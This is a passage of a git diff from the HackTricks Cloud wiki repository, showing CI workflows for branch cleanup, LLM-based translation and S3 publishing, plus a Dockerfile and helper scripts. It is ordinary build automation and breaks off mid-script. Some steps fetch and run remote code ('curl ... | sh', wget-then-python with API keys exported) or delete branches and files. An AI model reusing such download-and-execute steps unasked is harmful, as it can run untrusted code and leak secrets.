open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
|
||||
|
||||
echo "Open PR branches:"
|
||||
echo "$open_pr_branches"
|
||||
echo ""
|
||||
|
||||
deleted_count=0
|
||||
skipped_count=0
|
||||
|
||||
for branch in $all_branches; do
|
||||
branch=$(echo "$branch" | xargs) # Trim whitespace
|
||||
|
||||
# Skip if empty
|
||||
if [ -z "$branch" ]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
echo "Checking branch: $branch"
|
||||
|
||||
# Check if it's a protected branch
|
||||
is_protected=false
|
||||
for protected in "${protected_branches[@]}"; do
|
||||
if [ "$branch" = "$protected" ]; then
|
||||
echo " ✓ Skipping protected branch: $branch"
|
||||
is_protected=true
|
||||
skipped_count=$((skipped_count + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$is_protected" = true ]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if it's a translation branch (any 2-letter combination)
|
||||
# Also protect any branch that starts with 2 letters followed by additional content
|
||||
if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
|
||||
echo " ✓ Skipping translation/language branch: $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if branch has an open PR
|
||||
if echo "$open_pr_branches" | grep -Fxq "$branch"; then
|
||||
echo " ✓ Skipping branch with open PR: $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if branch had a PR that was merged or closed
|
||||
echo " → Checking PR history for branch: $branch"
|
||||
|
||||
# Look for PRs from this branch (both merged and closed)
|
||||
pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
|
||||
|
||||
if [ "$pr_info" != "[]" ]; then
|
||||
pr_state=$(echo "$pr_info" | jq -r '.[0].state')
|
||||
pr_number=$(echo "$pr_info" | jq -r '.[0].number')
|
||||
merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
|
||||
|
||||
if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo " 🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
|
||||
|
||||
# Delete the remote branch
|
||||
if git push origin --delete "$branch" 2>/dev/null; then
|
||||
echo " Successfully deleted remote branch: $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " Failed to delete remote branch: $branch"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
else
|
||||
# No PR found for this branch - it might be a stale branch
|
||||
# Check if branch is older than 30 days and has no recent activity
|
||||
last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
|
||||
|
||||
if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
|
||||
# Calculate 30 days ago in seconds since epoch
|
||||
thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
|
||||
|
||||
if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo " 🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " ✗ Deleting stale branch (no PR, >30 days old): $branch"
|
||||
|
||||
if git push origin --delete "$branch" 2>/dev/null; then
|
||||
echo " Successfully deleted stale branch: $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " Failed to delete stale branch: $branch"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping recent branch (no PR, <30 days old): $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping branch (cannot determine age): $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
fi
|
||||
|
||||
echo ""
|
||||
done
|
||||
|
||||
echo "=================================="
|
||||
echo "Branch cleanup completed!"
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo "Branches that would be deleted: $deleted_count"
|
||||
else
|
||||
echo "Branches deleted: $deleted_count"
|
||||
fi
|
||||
echo "Branches skipped: $skipped_count"
|
||||
echo "=================================="
|
||||
|
||||
# Clean up local tracking branches (only if not dry run)
|
||||
if [ "$DRY_RUN" != "true" ]; then
|
||||
echo "Cleaning up local tracking branches..."
|
||||
git remote prune origin
|
||||
fi
|
||||
|
||||
echo "Cleanup process finished."
|
||||
195
.github/workflows/translate_all.yml
vendored
Normal file
195
.github/workflows/translate_all.yml
vendored
Normal file
@@ -0,0 +1,195 @@
|
||||
name: Translator All
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
- Dockerfile
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
translate:
|
||||
name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
|
||||
# Run N languages in parallel (tune max-parallel if needed)
|
||||
strategy:
|
||||
fail-fast: false
|
||||
# max-parallel: 3 #Nothing to run all in parallel
|
||||
matrix:
|
||||
include:
|
||||
- { name: "Afrikaans", language: "Afrikaans", branch: "af" }
|
||||
- { name: "German", language: "German", branch: "de" }
|
||||
- { name: "Greek", language: "Greek", branch: "el" }
|
||||
- { name: "Spanish", language: "Spanish", branch: "es" }
|
||||
- { name: "French", language: "French", branch: "fr" }
|
||||
- { name: "Hindi", language: "Hindi", branch: "hi" }
|
||||
- { name: "Italian", language: "Italian", branch: "it" }
|
||||
- { name: "Japanese", language: "Japanese", branch: "ja" }
|
||||
- { name: "Korean", language: "Korean", branch: "ko" }
|
||||
- { name: "Polish", language: "Polish", branch: "pl" }
|
||||
- { name: "Portuguese", language: "Portuguese", branch: "pt" }
|
||||
- { name: "Serbian", language: "Serbian", branch: "sr" }
|
||||
- { name: "Swahili", language: "Swahili", branch: "sw" }
|
||||
- { name: "Turkish", language: "Turkish", branch: "tr" }
|
||||
- { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
|
||||
- { name: "Chinese", language: "Chinese", branch: "zh" }
|
||||
|
||||
# Ensure only one job per branch runs at a time (even across workflow runs)
|
||||
concurrency:
|
||||
group: translate-${{ matrix.branch }}
|
||||
cancel-in-progress: false
|
||||
|
||||
container:
|
||||
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
|
||||
|
||||
env:
|
||||
LANGUAGE: ${{ matrix.language }}
|
||||
BRANCH: ${{ matrix.branch }}
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Update and download scripts
|
||||
run: |
|
||||
sudo apt-get update
|
||||
# Install GitHub CLI properly
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y \
|
||||
&& sudo apt-get install -y wget
|
||||
wget -O /tmp/get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
|
||||
wget -O /tmp/compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
|
||||
wget -O /tmp/translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
|
||||
|
||||
- name: Run get_and_save_refs.py
|
||||
run: |
|
||||
python /tmp/get_and_save_refs.py
|
||||
|
||||
- name: Download language branch & update refs
|
||||
run: |
|
||||
pwd
|
||||
ls -la
|
||||
git config --global --add safe.directory "$GITHUB_WORKSPACE"
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git config pull.rebase false
|
||||
git checkout $BRANCH
|
||||
git pull
|
||||
python /tmp/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
|
||||
git add .
|
||||
git commit -m "Fix unmatched refs" || echo "No changes to commit"
|
||||
git push || echo "No changes to push"
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
git checkout master
|
||||
cp src/SUMMARY.md /tmp/master-summary.md
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n ",$file" >> /tmp/file_paths.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
|
||||
cat /tmp/file_paths.txt
|
||||
echo ""
|
||||
echo ""
|
||||
touch /tmp/file_paths.txt
|
||||
|
||||
if [ -s /tmp/file_paths.txt ]; then
|
||||
python /tmp/translator.py \
|
||||
--language "$LANGUAGE" \
|
||||
--branch "$BRANCH" \
|
||||
--api-key "$OPENAI_API_KEY" \
|
||||
-f "$(cat /tmp/file_paths.txt)" \
|
||||
-t 3
|
||||
else
|
||||
echo "No markdown files changed, skipping translation."
|
||||
fi
|
||||
|
||||
- name: Sync SUMMARY.md from master
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
if [ -f /tmp/master-summary.md ]; then
|
||||
cp /tmp/master-summary.md src/SUMMARY.md
|
||||
git add src/SUMMARY.md
|
||||
git commit -m "Sync SUMMARY.md with master" || echo "SUMMARY already up to date"
|
||||
git push || echo "No SUMMARY updates to push"
|
||||
else
|
||||
echo "master summary not exported; failing"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
- name: Build mdBook
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
|
||||
|
||||
- name: Publish search index release asset
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
ASSET="book/searchindex.js"
|
||||
TAG="searchindex-${BRANCH}"
|
||||
TITLE="Search Index (${BRANCH})"
|
||||
|
||||
if [ ! -f "$ASSET" ]; then
|
||||
echo "Expected $ASSET to exist after build" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOKEN="${GITHUB_TOKEN}"
|
||||
if [ -z "$TOKEN" ]; then
|
||||
echo "No token available for GitHub CLI" >&2
|
||||
exit 1
|
||||
fi
|
||||
export GH_TOKEN="$TOKEN"
|
||||
|
||||
# Delete the release if it exists
|
||||
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "Release $TAG already exists, deleting it..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
|
||||
fi
|
||||
|
||||
# Create new release
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY"
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: |
|
||||
echo "Current branch:"
|
||||
git rev-parse --abbrev-ref HEAD
|
||||
echo "Syncing $BRANCH to S3"
|
||||
aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
echo "Sync completed"
|
||||
echo "Cat 3 files from the book"
|
||||
find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat
|
||||
23
.github/workflows/upload_ht_to_ai.yml
vendored
Normal file
23
.github/workflows/upload_ht_to_ai.yml
vendored
Normal file
@@ -0,0 +1,23 @@
|
||||
name: Upload HackTricks to HackTricks AI
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
schedule:
|
||||
- cron: "0 5 1 * *"
|
||||
|
||||
|
||||
jobs:
|
||||
dowload-clean-push:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
steps:
|
||||
# 1. Download the script
|
||||
- name: Dowload script
|
||||
run: wget "https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/scripts/upload_ht_to_ai.py"
|
||||
|
||||
- name: Install pip dependencies
|
||||
run: python3 -m pip install openai
|
||||
|
||||
# 2. Execute the script
|
||||
- name: Execute script
|
||||
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"
|
||||
1
.gitignore
vendored
1
.gitignore
vendored
@@ -35,3 +35,4 @@ book
|
||||
book/*
|
||||
hacktricks-preprocessor.log
|
||||
hacktricks-preprocessor-error.log
|
||||
searchindex.js
|
||||
|
||||
31
Dockerfile
Normal file
31
Dockerfile
Normal file
@@ -0,0 +1,31 @@
|
||||
# Use the official Python 3.12 Bullseye image as the base
|
||||
FROM python:3.12-bullseye
|
||||
|
||||
# Install system dependencies
|
||||
RUN apt-get update && apt-get install -y \
|
||||
curl \
|
||||
wget \
|
||||
git \
|
||||
sudo \
|
||||
build-essential \
|
||||
awscli
|
||||
|
||||
# Install Python libraries
|
||||
RUN pip install --upgrade pip && \
|
||||
pip install openai tqdm tiktoken
|
||||
|
||||
# Install Rust & Cargo
|
||||
RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
|
||||
ENV PATH="/root/.cargo/bin:${PATH}"
|
||||
|
||||
# Install mdBook & plugins
|
||||
RUN cargo install mdbook
|
||||
RUN cargo install mdbook-alerts
|
||||
RUN cargo install mdbook-reading-time
|
||||
RUN cargo install mdbook-pagetoc
|
||||
RUN cargo install mdbook-tabs
|
||||
RUN cargo install mdbook-codename
|
||||
|
||||
# Set the working directory
|
||||
WORKDIR /app
|
||||
|
||||
34
README.md
34
README.md
@@ -1,34 +0,0 @@
|
||||
# HackTricks Cloud
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks लोगो और मोशन डिज़ाइन_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ द्वारा।_
|
||||
|
||||
> [!TIP]
|
||||
> उस पृष्ठ पर आपका स्वागत है जहाँ आप प्रत्येक **हैकिंग ट्रिक/तकनीक/जो भी CI/CD & Cloud से संबंधित है** जो मैंने **CTFs**, **वास्तविक** जीवन **पर्यावरण**, **शोध**, और **शोधों और समाचारों** को पढ़ने में सीखा है।
|
||||
|
||||
### **Pentesting CI/CD Methodology**
|
||||
|
||||
**HackTricks CI/CD Methodology में आप CI/CD गतिविधियों से संबंधित बुनियादी ढांचे का परीक्षण करने का तरीका पाएंगे।** एक **परिचय** के लिए निम्नलिखित पृष्ठ पढ़ें:
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Pentesting Cloud Methodology
|
||||
|
||||
**HackTricks Cloud Methodology में आप क्लाउड वातावरण का परीक्षण करने का तरीका पाएंगे।** एक **परिचय** के लिए निम्नलिखित पृष्ठ पढ़ें:
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### License & Disclaimer
|
||||
|
||||
**इन्हें देखें:**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
### Github Stats
|
||||
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
15
book.toml
15
book.toml
@@ -1,6 +1,7 @@
|
||||
[book]
|
||||
authors = ["HackTricks Team"]
|
||||
language = "en"
|
||||
multilingual = false
|
||||
src = "src"
|
||||
title = "HackTricks Cloud"
|
||||
|
||||
@@ -8,17 +9,26 @@ title = "HackTricks Cloud"
|
||||
create-missing = false
|
||||
extra-watch-dirs = ["translations"]
|
||||
|
||||
[preprocessor.alerts]
|
||||
after = ["links"]
|
||||
|
||||
[preprocessor.reading-time]
|
||||
|
||||
[preprocessor.pagetoc]
|
||||
|
||||
[preprocessor.tabs]
|
||||
|
||||
[preprocessor.codename]
|
||||
|
||||
[preprocessor.hacktricks]
|
||||
command = "python3 ./hacktricks-preprocessor.py"
|
||||
env = "prod"
|
||||
|
||||
[output.html]
|
||||
additional-css = ["theme/tabs.css", "theme/pagetoc.css"]
|
||||
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
||||
additional-js = [
|
||||
"theme/tabs.js",
|
||||
"theme/pagetoc.js",
|
||||
"theme/tabs.js",
|
||||
"theme/ht_searcher.js",
|
||||
"theme/sponsor.js",
|
||||
"theme/ai.js"
|
||||
@@ -26,7 +36,6 @@ additional-js = [
|
||||
no-section-label = true
|
||||
preferred-dark-theme = "hacktricks-dark"
|
||||
default-theme = "hacktricks-light"
|
||||
hash-files = false
|
||||
|
||||
[output.html.fold]
|
||||
enable = true # whether or not to enable section folding
|
||||
|
||||
@@ -53,17 +53,11 @@ def ref(matchobj):
|
||||
if href.endswith("/"):
|
||||
href = href+"README.md" # Fix if ref points to a folder
|
||||
if "#" in href:
|
||||
result = findtitle(href.split("#")[0], book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
result = findtitle(href, book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(href, book, "source_path")
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
except Exception as e:
|
||||
@@ -71,17 +65,11 @@ def ref(matchobj):
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
|
||||
if "#" in href:
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = chapter["name"]
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
except Exception as e:
|
||||
@@ -159,14 +147,8 @@ if __name__ == '__main__':
|
||||
context, book = json.load(sys.stdin)
|
||||
|
||||
logger.debug(f"Context: {context}")
|
||||
logger.debug(f"Book keys: {book.keys()}")
|
||||
|
||||
# Handle both old (sections) and new (items) mdbook API
|
||||
book_items = book.get('sections') or book.get('items', [])
|
||||
|
||||
for chapter in iterate_chapters(book_items):
|
||||
if chapter is None:
|
||||
continue
|
||||
for chapter in iterate_chapters(book['sections']):
|
||||
logger.debug(f"Chapter: {chapter['path']}")
|
||||
current_chapter = chapter
|
||||
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
|
||||
88
scripts/clean_unused_images.sh
Normal file
88
scripts/clean_unused_images.sh
Normal file
@@ -0,0 +1,88 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Define the image folder and the root of your project
|
||||
IMAGE_FOLDER="./src/images"
|
||||
PROJECT_ROOT="."
|
||||
|
||||
# Move to the project root
|
||||
cd "$PROJECT_ROOT" || exit
|
||||
|
||||
# Loop through each image file in the folder
|
||||
find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
|
||||
# Extract the filename without the path
|
||||
image_name=$(basename "$image")
|
||||
|
||||
# If image file name contains "sponsor", skip it
|
||||
if [[ "$image_name" == *"sponsor"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"arte"* ]]; then
|
||||
echo "Skipping arte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"grte"* ]]; then
|
||||
echo "Skipping grte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"azrte"* ]]; then
|
||||
echo "Skipping azrte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"websec"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"venacus"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"CLOUD"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"cloud.gif"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"CH_logo"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"lasttower"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
|
||||
|
||||
echo "Checking image: $image_name"
|
||||
|
||||
# Search for the image name using rg and capture the result
|
||||
search_result=$(rg -F --files-with-matches "$image_name" \
|
||||
--no-ignore --hidden \
|
||||
--glob '!.git/*' \
|
||||
--glob '!$IMAGE_FOLDER/*' < /dev/null)
|
||||
|
||||
echo "Search result: $search_result"
|
||||
|
||||
# If rg doesn't find any matches, delete the image
|
||||
if [ -z "$search_result" ]; then
|
||||
echo "Deleting unused image: $image"
|
||||
rm "$image"
|
||||
else
|
||||
echo "Image used: $image_name"
|
||||
echo "$search_result"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Cleanup completed!"
|
||||
165
scripts/compare_and_fix_refs.py
Normal file
165
scripts/compare_and_fix_refs.py
Normal file
@@ -0,0 +1,165 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SRC_DIR = Path("./src")
|
||||
REFS_JSON = Path("/tmp/refs.json")
|
||||
|
||||
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
|
||||
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
|
||||
|
||||
def extract_refs(text: str):
|
||||
"""Return a list of refs (trimmed) in appearance order."""
|
||||
return [m.strip() for m in REF_RE.findall(text)]
|
||||
|
||||
def replace_refs_in_text(text: str, new_refs: list):
|
||||
"""Replace all refs in text with new_refs, maintaining order."""
|
||||
matches = list(REF_RE.finditer(text))
|
||||
if len(matches) != len(new_refs):
|
||||
return text # Can't replace if counts don't match
|
||||
|
||||
# Replace from end to beginning to avoid offset issues
|
||||
result = text
|
||||
for match, new_ref in zip(reversed(matches), reversed(new_refs)):
|
||||
# Get the full match span to replace the entire {{#ref}}...{{#endref}} block
|
||||
start, end = match.span()
|
||||
# Format the replacement with proper newlines
|
||||
formatted_replacement = f"{{{{#ref}}}}\n{new_ref}\n{{{{#endref}}}}"
|
||||
result = result[:start] + formatted_replacement + result[end:]
|
||||
|
||||
return result
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Compare and fix refs between current branch and master branch")
|
||||
parser.add_argument("--files-unmatched-paths", type=str,
|
||||
help="Path to file where unmatched file paths will be saved (comma-separated on first line)")
|
||||
args = parser.parse_args()
|
||||
|
||||
if not SRC_DIR.is_dir():
|
||||
raise SystemExit(f"Not a directory: {SRC_DIR}")
|
||||
|
||||
if not REFS_JSON.exists():
|
||||
raise SystemExit(f"Reference file not found: {REFS_JSON}")
|
||||
|
||||
# Load the reference refs from master branch
|
||||
try:
|
||||
with open(REFS_JSON, 'r', encoding='utf-8') as f:
|
||||
master_refs = json.load(f)
|
||||
except (json.JSONDecodeError, UnicodeDecodeError) as e:
|
||||
raise SystemExit(f"Error reading {REFS_JSON}: {e}")
|
||||
|
||||
print(f"Loaded reference data for {len(master_refs)} files from {REFS_JSON}")
|
||||
|
||||
files_processed = 0
|
||||
files_modified = 0
|
||||
files_with_differences = 0
|
||||
unmatched_files = [] # Track files with unmatched refs
|
||||
|
||||
# Track which files exist in current branch
|
||||
current_files = set()
|
||||
|
||||
for md_path in sorted(SRC_DIR.rglob("*.md")):
|
||||
rel = md_path.relative_to(SRC_DIR).as_posix()
|
||||
rel_with_src = f"{SRC_DIR.name}/{rel}" # Include src/ prefix for output
|
||||
files_processed += 1
|
||||
|
||||
# Track this file as existing in current branch
|
||||
current_files.add(rel)
|
||||
|
||||
try:
|
||||
content = md_path.read_text(encoding="utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# Fallback if encoding is odd
|
||||
content = md_path.read_text(errors="replace")
|
||||
|
||||
current_refs = extract_refs(content)
|
||||
|
||||
# Check if file exists in master refs
|
||||
if rel not in master_refs:
|
||||
if current_refs:
|
||||
print(f"⚠️ NEW FILE with refs: {rel_with_src} (has {len(current_refs)} refs)")
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
continue
|
||||
|
||||
master_file_refs = master_refs[rel]
|
||||
|
||||
# Compare ref counts
|
||||
if len(current_refs) != len(master_file_refs):
|
||||
print(f"📊 REF COUNT MISMATCH: {rel_with_src} -- Master: {len(master_file_refs)} refs, Current: {len(current_refs)} refs")
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
continue
|
||||
|
||||
# If no refs in either, skip
|
||||
if not current_refs and not master_file_refs:
|
||||
continue
|
||||
|
||||
# Compare individual refs
|
||||
differences_found = False
|
||||
for i, (current_ref, master_ref) in enumerate(zip(current_refs, master_file_refs)):
|
||||
if current_ref != master_ref:
|
||||
if not differences_found:
|
||||
print(f"🔍 REF DIFFERENCES in {rel_with_src}:")
|
||||
differences_found = True
|
||||
print(f" Ref {i+1}:")
|
||||
print(f" Master: {repr(master_ref)}")
|
||||
print(f" Current: {repr(current_ref)}")
|
||||
|
||||
if differences_found:
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
|
||||
# Replace current refs with master refs
|
||||
try:
|
||||
new_content = replace_refs_in_text(content, master_file_refs)
|
||||
if new_content != content:
|
||||
md_path.write_text(new_content, encoding="utf-8")
|
||||
files_modified += 1
|
||||
print(f" ✅ Fixed refs in {rel_with_src}")
|
||||
else:
|
||||
print(f" ❌ Failed to replace refs in {rel_with_src}")
|
||||
except Exception as e:
|
||||
print(f" ❌ Error fixing refs in {rel_with_src}: {e}")
|
||||
|
||||
# Check for files that exist in master refs but not in current branch
|
||||
unexisted_files = 0
|
||||
for master_file_rel in master_refs.keys():
|
||||
if master_file_rel not in current_files:
|
||||
rel_with_src = f"{SRC_DIR.name}/{master_file_rel}"
|
||||
print(f"🗑️ {rel_with_src} (existed in master but not in current one)")
|
||||
unexisted_files += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
|
||||
# Save unmatched files to specified path if requested
|
||||
if args.files_unmatched_paths and unmatched_files:
|
||||
try:
|
||||
unmatched_paths_file = Path(args.files_unmatched_paths)
|
||||
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
with open(unmatched_paths_file, 'w', encoding='utf-8') as f:
|
||||
f.write(','.join(list(set(unmatched_files))))
|
||||
print(f"📝 Saved {len(unmatched_files)} unmatched file paths to: {unmatched_paths_file}")
|
||||
except Exception as e:
|
||||
print(f"❌ Error saving unmatched paths to {args.files_unmatched_paths}: {e}")
|
||||
elif args.files_unmatched_paths and not unmatched_files:
|
||||
# Create empty file if no unmatched files found
|
||||
try:
|
||||
unmatched_paths_file = Path(args.files_unmatched_paths)
|
||||
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
unmatched_paths_file.write_text('\n', encoding='utf-8')
|
||||
print(f"<EFBFBD> No unmatched files found. Created empty file: {unmatched_paths_file}")
|
||||
except Exception as e:
|
||||
